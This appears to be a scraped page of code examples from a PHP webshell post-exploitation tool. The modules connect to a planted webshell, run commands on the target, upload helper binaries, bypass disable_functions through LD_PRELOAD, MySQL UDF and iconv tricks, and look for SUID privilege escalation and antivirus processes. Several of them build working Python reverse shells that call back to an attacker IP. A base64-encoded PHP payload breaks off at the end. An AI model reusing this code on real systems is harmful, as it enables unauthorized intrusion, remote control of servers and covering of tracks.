Beispiel #1
0
def run(lhost: str,
        port: int,
        mode: int = 0,
        fakename: str = "/usr/lib/systemd"):
    """
    reshell

    Bind a local port and wait for target connect back to get a full shell.

    eg: reshell {lhost} {port} {type=[python|upload]{1|2},default = 0 (Python:1 Not Python:2)} {(Only for Mode 2) fakename=/usr/lib/systemd}
    """
    if (is_windows(False) or is_windows()):
        print(color.red(f"Only for both system is linux."))
        return False
    try:
        port = int(port)
    except ValueError:
        port = 23333
    disable_func_list = gget("webshell.disable_functions", "webshell")
    MODE = 1
    print(color.yellow(f"Waring: You are using a testing command...."))
    print(color.yellow(f"        Please make sure Port {port} open...."))
    if (mode == 0):
        if (has_env("python")):
            print(color.green(f"Traget has python environment."))
            MODE == 1
        else:
            print(color.red(f"Traget has not python environment."))
            MODE == 2
    else:
        MODE = int(mode)

    if ("proc_open" in disable_func_list):
        print(color.red("proc_open is disabled... Try Mode 3"))
        return
    if (MODE == 1):
        print(color.yellow(f"Use Mode 1->python"))
        command = get_php(lhost, port)
    else:
        print(color.yellow(f"Use Mode 2->upload"))
        filename = encrypt(f"{lhost}-{port}")
        if not upload(
                path.join(gget("root_path"), "auxiliary", "reshell",
                          "reverse_server_x86_64"), "/tmp/%s" % filename,
                True):
            return
        command = get_system_code(
            f"cd /tmp && chmod +x {filename} && ./{filename} {fakename}",
            False)
    t = Thread(target=delay_send, args=(2, command))
    t.setDaemon(True)
    t.start()
    print(f"Bind port {color.yellow(str(port))}...")
    if (not bind(port, MODE)):
        print(color.red(f"Bind port error."))
    if (MODE == 3):
        res = send(f"unlink('/tmp/{filename}');")
        if (not res):
            return
Beispiel #2
0
def run(*commands):
    """
    shell

    Get a temporary shell of target system by system function or just run a shell command.
    """
    command = str(value_translation(gget("raw_command_args")))
    if (command):
        res = send(get_system_code(command))
        if (not res):
            return
        print(color.green("\nResult:\n\n") + res.r_text.strip() + "\n")
        return
    print(
        color.cyan(
            "Eenter interactive temporary shell...\n\nUse 'back' command to return doughnuts.\n"
        ))
    res = send(
        f'{get_system_code("whoami")}print("@".$_SERVER["SERVER_NAME"]."|".getcwd());'
    ).r_text.strip()
    prompt, pwd = res.split("|")
    set_namespace("webshell", False, True)
    wordlist = gget("webshell.wordlist")
    readline.set_wordlist(NEW_WINDOWS_WORDLIST if (
        is_windows()) else NEW_UNIX_WORDLIST)
    if is_windows():
        prompt = "%s> "
    else:
        prompt = prompt.replace("\r", "").replace("\n", "") + ":%s$ "
    try:
        while gget("loop"):
            print(prompt % pwd, end="")
            command = str(value_translation(readline()))
            lower_command = command.lower()
            if (lower_command.lower() in ['exit', 'quit', 'back']):
                print()
                break
            if (command == ''):
                print()
                continue
            b64_pwd = base64_encode(pwd)
            if (lower_command.startswith("cd ") and len(lower_command) > 3):
                path = base64_encode(lower_command[3:].strip())
                res = send(
                    f'chdir(base64_decode(\'{b64_pwd}\'));chdir(base64_decode(\'{path}\'));print(getcwd());'
                )
                if (not res):
                    return
                pwd = res.r_text.strip()
            else:
                res = send(f'chdir(base64_decode(\'{b64_pwd}\'));' +
                           get_system_code(command))
                if (not res):
                    return
                print("\n" + res.r_text.strip() + "\n")
    finally:
        readline.set_wordlist(wordlist)
Beispiel #3
0
def get_reverse_python(ip, port):
    if is_windows():
        return oneline_python("""import os, socket, subprocess, threading, sys
os.chdir('%s')
def s2p(s, p):
    while True:p.stdin.write(s.recv(1024).decode()); p.stdin.flush()
def p2s(s, p):
    while True: s.send(p.stdout.read(1).encode())
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
    s.connect(("%s", %s))
except:
    s.close(); sys.exit(0)
p=subprocess.Popen(["cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, shell=True, text=True)
threading.Thread(target=s2p, args=[s,p], daemon=True).start()
threading.Thread(target=p2s, args=[s,p], daemon=True).start()
try:
    p.wait()
except:
    s.close(); sys.exit(0)""" % (
            gget("webshell.root", "webshell"),
            ip,
            port,
        ))
    else:
        return (
            oneline_python("""python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn('/bin/sh');s.close();'""" % (ip, port))
        )
Beispiel #4
0
def run(mode: str, *web_file_paths):
    """
    chmod

    (Only for *unix) Changes file(s) mode.

    eg: chmod {mode} {web_file_path}
    """
    if (is_windows()):
        print(color.red("Target system is windows."))
        return
    mode = str(mode)
    if (len(mode) < 4):
        mode = "0" + mode
    for each_file_path in web_file_paths:
        res = send(
            f"print(chmod(base64_decode('{base64_encode(each_file_path)}'), {mode}));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if len(text):
            print(
                f"\nchmod {each_file_path} {mode} {color.green('success')}\n")
        else:
            print(f"\nchmod {each_file_path} {mode} {color.red('failed')}\n")
Beispiel #5
0
def run(find_path: str = "/usr&/bin"):
    """
    av

    (Only for windows) Detect anti-virus software running on the target system.
    ps: Need to run system commands

    Origin: https://github.com/BrownFly/findAV, https://github.com/gh0stkey/avList
    """
    if (not is_windows()):
        print(color.red("\nTarget system isn't windows\n"))
        return
    res = send(get_system_code("tasklist /svc"))
    if (not res or not res.r_text
            or "No system execute function" in res.r_text):
        print(color.red("\nDetect error\n"))
        return
    with open(path.join(gget("root_path"), "auxiliary", "av", "av.json"),
              "r",
              encoding="utf-8") as f:
        av_processes = loads(f.read())
    flag = 0
    print("\n" + color.green(" " * 37 + "Result"))
    for line in res.r_text.split("\n"):
        process = line.split(' ')[0]
        if process in av_processes:
            flag = 1
            print("    %40s     -     %-30s" %
                  (color.cyan(process), color.yellow(av_processes[process])))
    if (not flag):
        print("    %40s     /      %-30s" %
              (color.green('No anti-virus'), color.red('Not found')))
    print()
Beispiel #6
0
def run():
    """
    clear

    Clear screen.
    """
    if (is_windows(False)):
        system("cls")
    else:
        system("clear")
Beispiel #7
0
def run(port: int = 8888):
    """
    socks

    (Only for *unix) Run a socks5 server on the target system by python.

    eg: socks {port=8888}
    """
    if (is_windows()):
        print(color.red("Target system isn't *unix"))
        return
    flag = has_env("python")
    if flag:
        python = get_python(port)
        pyname = "check.py"
        res = send(
            f"print(file_put_contents('/tmp/{pyname}', base64_decode(\"{base64_encode(python)}\")));"
        )
        if (not res):
            return
        text = res.r_text.strip()
        if not len(text):
            print(color.red("Failed to write file in /tmp directory."))
            return
        t = Thread(target=send,
                   args=(get_system_code(f"python /tmp/{pyname}"), ))
        t.setDaemon(True)
        t.start()
        t2 = Thread(target=delay_send,
                    args=(
                        10.0,
                        f"unlink('/tmp/{pyname}');",
                    ))
        t2.setDaemon(True)
        t2.start()
        sleep(1)
        if (t.isAlive()):
            print(
                f"\nStart socks5 server listen on {port} {color.green('success')}.\n"
            )
        else:
            print(f"\nStart socks5 server {color.red('error')}.\n")
    else:
        print(
            color.red(
                "The target host does not exist or cannot be found in the python environment."
            ))
Beispiel #8
0
def run():
    """
    bobd

    (Only for *unix) Try to bypass open_basedir by ini_set and chdir.
    """
    disable_func_list = gget("webshell.disable_functions", "webshell")
    if (is_windows()):
        print(color.red("Target system isn't *unix"))
        return
    if ("chdir" in disable_func_list or ("ini_set" in disable_func_list and "ini_alter" in disable_func_list)):
        print("\n" + color.red("ini_set/ini_alter or chdir function is disabled") + "\n")
        return
    switch = not gget("webshell.bypass_obd", "webshell", default=False)
    print(
        f"\nbypass open_basedir: {color.green('On') if switch else color.red('Off')}\n")
    gset("webshell.bypass_obd", switch, True, "webshell")
Beispiel #9
0
def run():
    """
    checkvm

    Simply check whether the machine is a virtual machine.
    """
    if (is_windows()):
        commands = (get_system_code(
            'Systeminfo | findstr /i "System Model"', True))
    else:
        commands = (get_system_code(each, True) for each in (
            "dmidecode -s system-product-name", "lshw -class system", "dmesg | grep -i virtual", "lscpu"))
    for command in commands:
        result = send(command).r_text
        if (any(vm in result for vm in type_vm)):
            print(f"\nis VM: {color.green('True')}\n")
        else:
            print(f"\nis VM: {color.red('False')}\n")
Beispiel #10
0
def run(find_path: str = "/usr&/bin"):
    """
    priv

    (Only for *unix) Find all files with suid belonging to root and try to get privilege escalation tips.
    ps:use & to split find_path

    eg: priv {find_path="/usr&/bin"}
    """
    if (is_windows()):
        print(color.red("\nTarget system isn't *unix\n"))
        return
    print(
        color.yellow(
            f"\nFinding all files with suid belonging to root in {find_path}...\n"
        ))
    phpcode = ""
    priv_tips = {}
    if ("&" in find_path):
        find_paths = find_path.split("&")
    else:
        find_paths = (find_path, )
    for each in find_paths:
        phpcode += get_system_code(
            f"find {each} -user root -perm -4000 -type f 2>/dev/null")
    res = send(phpcode)
    if (not res):
        return
    suid_commands = res.r_text.strip().split("\n")
    if (not suid_commands or "No system execute function" in suid_commands[0]):
        print(color.red("\nFind error\n"))
        return
    with open(path.join(gget("root_path"), "auxiliary", "priv", "gtfo.json"),
              "r") as f:
        priv_tips = loads(f.read())
    for cmd_path in suid_commands:
        cmd = cmd_path.split("/")[-1]
        if (cmd in priv_tips):
            print(
                color.yellow(cmd_path) +
                f" ( https://gtfobins.github.io/gtfobins/{cmd}/ )\n")
            for k, v in priv_tips[cmd].items():
                info = '\n'.join(v)
                print(f"""{color.cyan(k)}\n{color.green(info)}\n""")
Beispiel #11
0
def run(filepath="log.txt"):
    """
    log

    (Only for *unix) Write input and output to the log.

    eg: log {filepath="log.txt"}
    """
    if (is_windows(False)):
        print(color.red("\nYour system isn't *unix\n"))
        return
    if access(filepath, W_OK):
        print(color.green(f"\nSet log in {filepath}\n"))
        sys.stdout = Logger(filepath, sys.__stdout__)
        sys.stderr = Logger(filepath, sys.__stderr__)
        gset("log_filepath", filepath, True)
        gset("log_stdout", sys.stdout, True)
        gset("log_stderr", sys.stderr, True)
    else:
        print(color.red("\nFile path is invalid\n"))
Beispiel #12
0
def run(filename: str = ""):
    """
    touch

    (Only for *unix) Specify a file whose modification time stamp is the same as a random file in the current directory.

    eg: touch {filename=this_webshell}
    """
    if (is_windows()):
        print(color.red("Target system is windows."))
        return
    try:
        command = get_system_code("touch -r $reference $file", False)
        res = send(get_php(filename, command))
        if (not res):
            return
        reference = res.r_text.strip()
        print(color.green(f"Modify time stamp {reference} success."))
    except IndexError:
        print(color.red("all the system execute commands are disabled."))
Beispiel #13
0
def get_reverse_python(ip, port):
    if is_windows():
        return """from socket import socket, AF_INET, SOCK_STREAM
from subprocess import PIPE, Popen
from threading import Thread
from io import open as ioopen

def send(client, proc):
    f = ioopen(proc.stdout.fileno(), 'rb', closefd=False)
    while True:
        msg = f.read1(1024)
        if len(msg) == 0: break
        client.send(msg)
def send2(client, proc):
    f = ioopen(proc.stderr.fileno(), 'rb', closefd=False)
    while True:
        msg = proc.stderr.readline()
        if len(msg) == 0: break
        client.send(msg)
client = socket(AF_INET, SOCK_STREAM)
addr = ('%s', %s)
client.connect(addr)
proc = Popen('cmd.exe /K',stdin=PIPE,stdout=PIPE,stderr=PIPE,shell=True, bufsize=1)
t = Thread(target=send, args=(client, proc))
t.setDaemon(True)
t.start()
t = Thread(target=send2, args=(client, proc))
t.setDaemon(True)
t.start()
while True:
    msg = client.recv(1024)
    if len(msg) == 0: break
    proc.stdin.write(msg)
    proc.stdin.flush()""" % (
            ip,
            port,
        )
    else:
        return (
            """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\"%s\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'"""
            % (ip, port))
Beispiel #14
0
def run():
    """
    ps

    (Only for *unix) Report a snapshot of the current processes.

    eg: ps

    """
    if (is_windows()):
        print(color.red(f"Only for target system is linux."))
        return False
    splitchars = randstr("!@#$%^&*()1234567890")
    res = send(get_php(splitchars))
    if (not res):
        return
    info_list = res.r_text.strip().split('\n')
    for line in info_list:
        info = line.split(splitchars)
        if (len(info) < 4):
            continue
        if (info[-1] != "CMDLINE"):
            info[-1] = color.cyan(info[-1])
        print("%-4s  %-8s  %-12s  %s" % (info[0], info[1], info[2], info[3]))
Beispiel #15
0
def run(url: str, method: str = "GET", pwd: str = "pass", *encode_functions):
    """
    connect

    Connect a webshell of php.

    eg: connect {url} {method} {pass} {encoders...}
    """
    method = str(method).upper()
    params_dict = {}
    if method == "GET":
        raw_key = "params"
    elif method == "POST":
        raw_key = "data"
    elif method == "COOKIE":
        raw_key = "cookies"
    elif method == "HEADER":
        raw_key = "headers"
    else:
        print(color.red("Method error"))
        return
    encode_functions = [str(f) for f in encode_functions]
    params_dict[raw_key] = {}
    webshell_netloc = urlparse(url).netloc
    gset("url", url, namespace="webshell")
    gset("webshell.params_dict", params_dict, namespace="webshell")
    gset("webshell.password", str(pwd), namespace="webshell")
    gset("webshell.method", raw_key, namespace="webshell")
    gset("webshell.encode_functions", encode_functions, namespace="webshell")
    gset("webshell.netloc", webshell_netloc, namespace="webshell")
    gset(
        "webshell.download_path",
        path.join(gget("root_path"), "target", webshell_netloc.replace(":", "_")),
        namespace="webshell",
    )
    gset("webshell.pwd", ".", namespace="webshell")
    gset("webshell.bypass_df", -1, namespace="webshell")
    res = send('print("c4ca4238a0b923820d|".phpversion()."|cc509a6f75849b");', raw=True)
    if (not res or "c4ca4238a0b923820d" not in res.r_text):
        print(color.red("Connect failed..."))
        if (res):
            print(res.r_text)
        return False
    if ('7.' in res.r_text):
        gset("webshell.v7", True, namespace="webshell")
    if "c4ca4238a0b923820d" in res.r_text:  # 验证是否成功连接
        gset("webshell.php_version", res.r_text.split("c4ca4238a0b923820d|")[1].split("|cc509a6f75849b")[0], namespace="webshell")
        info_req = send(
            "print($_SERVER['DOCUMENT_ROOT'].'|'.php_uname().'|'.$_SERVER['SERVER_SOFTWARE'].'|'.getcwd().'|'.ini_get('upload_tmp_dir').'|'.ini_get('disable_functions').'|'.ini_get('open_basedir'));"
        )
        info = info_req.r_text.strip().split("|")
        exec_func = send(get_detectd_exec_php()).r_text.strip()
        prepare_system_template(exec_func)
        gset("webshell.root", info[0], namespace="webshell")
        gset("webshell.os_version", info[1], namespace="webshell")
        gset(
            "webshell.iswin",
            (True if "win" in info[1].lower() else False),
            namespace="webshell",
        )
        gset("webshell.server_version", info[2], namespace="webshell")
        gset("webshell.pwd", info[3], namespace="webshell")
        gset("webshell.prompt", f"doughnuts ({color.cyan(webshell_netloc)}) > ")
        gset("webshell.exec_func", exec_func, namespace="webshell")
        upload_tmp_dir = info[4]
        if (not upload_tmp_dir):
            if (not is_windows()):
                upload_tmp_dir = "/tmp/"
        else:
            if (is_windows()):
                upload_tmp_dir += "\\\\"
            else:
                upload_tmp_dir += "/"
        gset("webshell.upload_tmp_dir", upload_tmp_dir, namespace="webshell")
        disable_function_list = [f.strip() for f in info[5].split(",")]
        if ('' in disable_function_list):
            disable_function_list.remove('')
        gset("webshell.obd", info[6], namespace="webshell")
        gset("webshell.disable_functions", disable_function_list, namespace="webshell")
        from_log = gget("webshell.from_log", "webshell")
        if not from_log:
            with open("webshell.log", "a+") as f:
                f.write(f"{url}|{method}|{pwd}|{'|'.join(encode_functions)}\n")
        else:
            gset("webshell.from_log", False, True, "webshell")
        print(color.cyan("Connect success...\n"))
        print_webshell_info()
        set_namespace("webshell", callback=False)
        if (exec_func == ''):
            print(color.red("No system execute function!\n"))
        return True
Beispiel #16
0
from libs.config import alias, color
from libs.myapp import send, is_windows

sep = "\\" if is_windows() else "/"


def get_php(web_file_path: str, pattern: str):
    return """function rglob($pattern, $flags = 0) {
    $files = glob($pattern, $flags);
    foreach (glob(dirname($pattern).'/*', GLOB_ONLYDIR|GLOB_NOSORT) as $dir) {
        $files = array_merge($files, rglob($dir.'/'.basename($pattern), $flags));
    }
    return $files;
}
foreach(rglob("%s/*") as $v){
    if(preg_match("/%s/", $v)){print(str_replace(realpath("%s")."\\\\","",realpath($v))."\\n");}
}
""" % (web_file_path, pattern, web_file_path)


@alias(True, _type="DETECT", w="web_file_path", p="pattern")
def run(pattern: str, web_file_path: str = "."):
    """
    search

    Search file(s) from target system (Support regular expression).

    eg: search {pattern} {web_file_path="."}
    """
    web_file_path = str(web_file_path)
    res = send(get_php(web_file_path, pattern))
Beispiel #17
0
def set_mode(mode: int, test: bool = False):
    if (mode in mode_require_ext_dict):
        ext = mode_require_ext_dict[mode]
        res = send(get_detectd_ext(ext))
        if (not res):
            return False
        text = res.r_text.strip()
        if ("exist" not in text):
            print(color.red(f"\nNo {ext} extension\n"))
            return False
    if (mode == 4 and not gget("webshell.ld_preload_path", "webshell",
                               False)):  # ld_preload
        if is_windows():
            print(color.red("\nNo ld_preload function!\n"))
            return False

        disable_funcs = gget("webshell.disable_functions", "webshell")

        # can't work if putenv is disabled
        if ("putenv" in disable_funcs):
            print(color.red("\nputenv is disabled\n"))
            return False

        # check if already set ld_preload
        if (not gget("webshell.ld_preload_path", "webshell", None)):
            filename = "/tmp/%s.so" % str(uuid4())
            # get ld_preload trigger function
            available_trigger_funcs = [
                'mail', 'error_log', 'mb_send_mail', 'imap_mail'
            ]
            ld_preload_funcs = [
                f for f in available_trigger_funcs if f not in disable_funcs
            ]
            if (not ld_preload_funcs):
                print(color.red("\nNo ld_preload function!\n"))
                return False
            ld_preload_func = choice(ld_preload_funcs)

            # get target architecture
            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)
            if bits == "32":
                bits = "86"
            # upload so
            upload_result = upload(
                path.join(gget("root_path"), "auxiliary", "ld_preload",
                          "ld_preload_x" + bits + ".so"), filename, True)
            if (not upload_result):
                print(color.red("\nUpload error\n"))
                return

            gset("webshell.ld_preload_path", filename, True, "webshell")
            gset("webshell.ld_preload_func", ld_preload_func, True, "webshell")

    elif (mode == 8):  # udf
        if (gget("db_connected", "webshell")
                and gget("db_dbms", "webshell") == "mysql"):
            # detect plugin dir
            print(color.yellow(f"\nDetect plugin dir..."))
            plugin_dir_res = execute_sql_command(
                "show variables like '%plugin_dir%';", raw=True)
            if (len(plugin_dir_res) > 1 and len(plugin_dir_res[1]) > 1):
                plugin_dir = plugin_dir_res[1][1].strip().replace("\\", "\\\\")
            else:
                print(color.red(f"\nCould not find plugin_dir"))
                return False

            # make plugin dir
            print(color.yellow(f"\nMake plugin dir..."))
            phpcode = '''if(!is_dir("%s") and !mkdir("%s", 0777, true)){print("fail");}''' % (
                plugin_dir, plugin_dir)
            res = send(phpcode)
            if (not res or "fail" in res.r_text):
                print(color.red(f"\nMake plugin dir failed!\n"))
                return False

            system = "windows" if is_windows() else "linux"
            print("\nReference Information:",
                  gget("webshell.os_version", "webshell"))

            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                elif (_ in ["back", "exit", "quit"]):
                    return False
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)

            # upload so / dll
            udf_ext = ".dll" if is_windows() else ".so"
            udf_path = plugin_dir + "tmp" + udf_ext
            print(color.yellow(f"\nUpload {udf_ext[1:]}..."))
            upload_result = upload(path.join(gget("root_path"), "auxiliary",
                                             "udf", "mysql", system, bits,
                                             "lib_mysqludf_sys" + udf_ext),
                                   udf_path,
                                   force=True)
            if (not upload_result):
                print(color.red("\nUpload failed\n"))
                return
            gset("webshell.udf_path", udf_path, True, "webshell")

            # create function sys_eval
            print(color.yellow(f"\nCreate function sys_eval..."))
            execute_sql_command(
                f"create function sys_eval returns string soname 'tmp{udf_ext}'",
                raw=True)
            test_res = execute_sql_command("select sys_eval('whoami');",
                                           raw=True)
            if (len(test_res) > 1 and len(test_res[1][0])):
                print(color.green(f"\nCreate funtion success"))
            else:
                print(color.red(f"\nCreate funtion failed\n"))
                return False

        else:
            print(
                color.red(
                    f"\nNo connection to database or dbms isn't mysql\n"))
            return False
    elif (mode == 10):  # php-fpm
        res = send("print(php_sapi_name());")
        if (not res or "fpm" not in res.r_text):
            print(color.red(f"\nTarget php not run by php-fpm!\n"))
            return False
        requirements_dict = {'host': '127.0.0.1', 'port': 9000}
        attack_type = input(
            "attack_type[gopher(need curl extension)/sock/http_sock]:").lower(
            )
        if (attack_type not in ["gopher", "sock", "http_sock"]):
            return False

        gset("webshell.bdf_fpm.type", attack_type, True, "webshell")

        # input sock path
        if (attack_type == "sock"):
            sock_path = "/var/run/php7-fpm.sock"
            new_v = input(f"sock_path[{sock_path}]:")
            if new_v:
                sock_path = new_v
            gset("webshell.bdf_fpm.sock_path", sock_path, True, "webshell")
        else:
            # input fpm http host and port
            for k, v in requirements_dict.items():
                new_v = input(f"{k}[{v}]:")
                if k == 'port':
                    new_v = new_v if new_v else v
                    try:
                        new_v = int(new_v)
                    except ValueError:
                        print(color.red(f"\nport must be number\n"))
                        return False
                if new_v:
                    requirements_dict[k] = new_v
            gset("webshell.bdf_fpm.host", requirements_dict["host"], True,
                 "webshell")
            gset("webshell.bdf_fpm.port", str(requirements_dict["port"]), True,
                 "webshell")
    elif (mode == 11):  # apache-mod-cgi
        res = send("""$f=in_array('mod_cgi', apache_get_modules());
$f2=is_writable('.');
$f3=!empty($_SERVER['HTACCESS']);
if(!$f){
    die("Mod-Cgi not enabled");
} else if (!$f2) {
    die("Current directory not writable");
}
print("success");""")
        if (res.r_text != "success"):
            print(color.red(f"\n{res.r_text}\n"))
            return False
    elif (mode == 12 and
          not gget("webshell.ld_preload_path", "webshell", False)):  # iconv

        disable_funcs = gget("webshell.disable_functions", "webshell")

        # can't work if putenv is disabled
        if ("putenv" in disable_funcs):
            print(color.red("\nputenv is disabled\n"))
            return False

        # check if already set ld_preload
        if (not gget("webshell.iconv_path", "webshell", None)):
            filename = "/tmp/%s" % str(uuid4())

            # get target architecture
            bits = gget("webshell.arch", namespace="webshell")
            if not bits:
                print("\nInput target system bits (32/64): ", end="")
                _ = readline().strip()
                if (_ == "32"):
                    bits = 32
                elif (_ == "64"):
                    bits = 64
                else:
                    print(color.red("\nUnknown bits\n"))
                    return False
            bits = str(bits)
            if bits == "32":
                bits = "86"
            # upload so
            upload_result = upload(path.join(gget("root_path"), "auxiliary",
                                             "iconv",
                                             "iconv_x" + bits + ".so"),
                                   filename + ".so",
                                   force=True)
            if (not upload_result):
                print(color.red("\nUpload error\n"))
                return

            gconv_modules = f"""module  PAYLOAD//    INTERNAL    ../../../../../../../..{filename}    2
module  INTERNAL    PAYLOAD//    ../../../../../../../..{filename}    2"""
            send(
                f"file_put_contents('/tmp/gconv-modules', base64_decode('{base64_encode(gconv_modules)}'));"
            )

            gset("webshell.iconv_path", filename + ".so", True, "webshell")
            gset("webshell.iconv_gconv_modules_path", "/tmp/gconv-modules",
                 True, "webshell")
    if (not test):
        if (mode in (7, 10, 12)):
            print(
                color.yellow(
                    f"\nYou may need to wait 1 second to get the result..\n"))
        print(
            f"\nSet bypass disable_functions: {mode}-{mode_to_desc_dict[mode]}\n"
        )
        gset("webshell.bypass_df", mode, True, "webshell")
    return True
Beispiel #18
0
def run(ip: str, port: str, reverse_type: str = "php"):
    """
    reverse

    reverse shell to a host from target system.

    eg: reverse {ip} {port} {type=php}
    """
    reverse_type = str(reverse_type).lower()
    if reverse_type == "php":
        php = get_reverse_php(ip, port)
        t = Thread(target=send, args=(php, ))
        t.setDaemon(True)
        t.start()
    elif reverse_type == "python":
        if has_env("python"):
            python = get_reverse_python(ip, port)
            if is_windows():
                pyname = "python-update.py"
                upload_tmp_dir = gget("webshell.upload_tmp_dir", "webshell")
                res = send(
                    f"print(file_put_contents('{upload_tmp_dir}{pyname}', \"{python}\"));"
                )
                if (not res):
                    return
                text = res.r_text.strip()
                if not len(text):
                    print(
                        color.red(
                            f"Failed to write file in {upload_tmp_dir if upload_tmp_dir else 'current'} directory."
                        ))
                    return
                t = Thread(target=send,
                           args=(get_system_code(
                               f"python {upload_tmp_dir}{pyname}", False), ))
                t.setDaemon(True)
                t.start()
                t2 = Thread(target=delay_send,
                            args=(
                                10.0,
                                f"unlink('{upload_tmp_dir}{pyname}');",
                            ))
                t2.setDaemon(True)
                t2.start()
            else:
                t = Thread(target=send,
                           args=(get_system_code(python, False), ))
                t.setDaemon(True)
                t.start()
        else:
            print(
                color.red(
                    "The target host does not exist or cannot be found in the python environment."
                ))
            return
    else:
        print(color.red("Reverse type Error."))
        return
    sleep(1)
    if (t.isAlive()):
        print(f"\nReverse shell to {ip}:{port} {color.green('success')}.\n")
    else:
        print(f"\nReverse shell {color.red('error')}.\n")
Beispiel #19
0
def get_reverse_php(ip: str, port: str, upload_path: str):
    if (is_windows()):
        filename = f"{upload_path}\\\\services.exe"
        return """header('Content-type: text/plain');
$payload = "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